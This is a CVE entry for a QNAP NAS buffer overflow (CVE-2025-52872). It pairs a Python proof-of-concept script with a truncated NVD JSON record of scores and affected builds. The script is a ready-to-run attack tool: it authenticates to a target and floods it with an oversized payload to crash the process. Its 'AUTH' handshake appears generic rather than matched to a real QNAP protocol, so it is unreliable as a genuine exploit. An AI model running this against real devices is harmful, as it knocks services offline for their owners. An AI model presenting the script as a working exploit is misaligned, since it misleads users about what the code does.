CVE-2025-52872

import socket import sys def exploit_cve_2025_52872(target_ip, target_port, username, password): """ CVE-2025-52872 PoC - Buffer Overflow in QNAP NAS This PoC demonstrates the vulnerability exploitation concept. Note: Only for authorized security testing. """ try: # Step 1: Authentication sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) auth_payload = f"AUTH {username}:{password}\r\n" sock.send(auth_payload.encode()) response = sock.recv(1024) if b"AUTH_OK" not in response: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send oversized payload to trigger buffer overflow # This payload exceeds the expected buffer size overflow_payload = b"A" * 10000 + b"\r\n" sock.send(overflow_payload) # Step 3: Monitor for crash or memory corruption indicators sock.settimeout(5) try: response = sock.recv(1024) if b"ERROR" in response: print("[+] Buffer overflow triggered - process error detected") return True except socket.timeout: print("[+] Buffer overflow triggered - process crash detected") return True except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_ip> <port> <username> <password>") sys.exit(1) exploit_cve_2025_52872(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])

{"cve": {"id": "CVE-2025-52872", "sourceIdentifier": "[email protected]", "published": "2026-01-02T15:16:00.980", "lastModified": "2026-01-05T20:13:07.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains a user account, they can then exploit the vulnerability to modify memory or crash processes.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.7.3256 build 20250913 and later\nQuTS hero h5.2.7.3256 build 20250913 and later\nQuTS hero h5.3.0.3192 build 20250716 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:*", "matchCriteriaId": "CDCBB36A-CB91-4BA3-A6ED-952E6A4A0481"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:*", "matchCriteriaId": "240BCFF1-CCCB-4C07-8E2C-7F43F68407FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:*", "matchCriteriaId": "D3AF7276-77E0-474A-B10F-AC15BC5FCF00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:*", "matchCriteriaId": "5FA8C3EC-B6C0-44A8-BC91-18E3E90C63AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:*", "matchCriteriaId": "889336D2-D9F7-4CC0-A22F-B837B5E77751"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2851:build_20240808:*:*:*:*:*:*", "matchCriteriaId": "98F72EB9-0EE3-416A-B9BB-2512F5203A5A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2860:build_20240817:*:*:*:*:*:*", "matchCriteriaId": "9110382F-57C2-4C2E-82D1-3246C882B2C3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.1.2929:build_20241025:*:*:*:*:*:*", "matchCriteriaId": "DB92EFD7-47DD-4AAC-97BD-A2D4918FF4ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.1.2940:build_20241105:*:*:*:*:*:*", "matchCriteriaId": "78E38E23-1AD0-49E1-89FA-73DC2F496137"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.2.2952:build_20241116:*:*:*:*:*:*", "matchCriteriaId": "F2F302B6-26CC-4044-B480-4EBDBB90797F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.3.3006:build_20250108:*:*:*:*:*:*", "matchCriteriaId": "BF0093B6-8D38-4D1E-AD71-79299123C2B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.4.3070:build_20250312:*:*:*:*:*:*", "matchCriteriaId": "48A3CDAA-B0C6-4280-B1AC-DDD027F9D632"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.4.3079:build_20250321:*:*:*:*:*:*", "matchCriteriaId": "1807DE4F-CDF3-4E3B-ADC1-9535EF1D60 ... (truncated)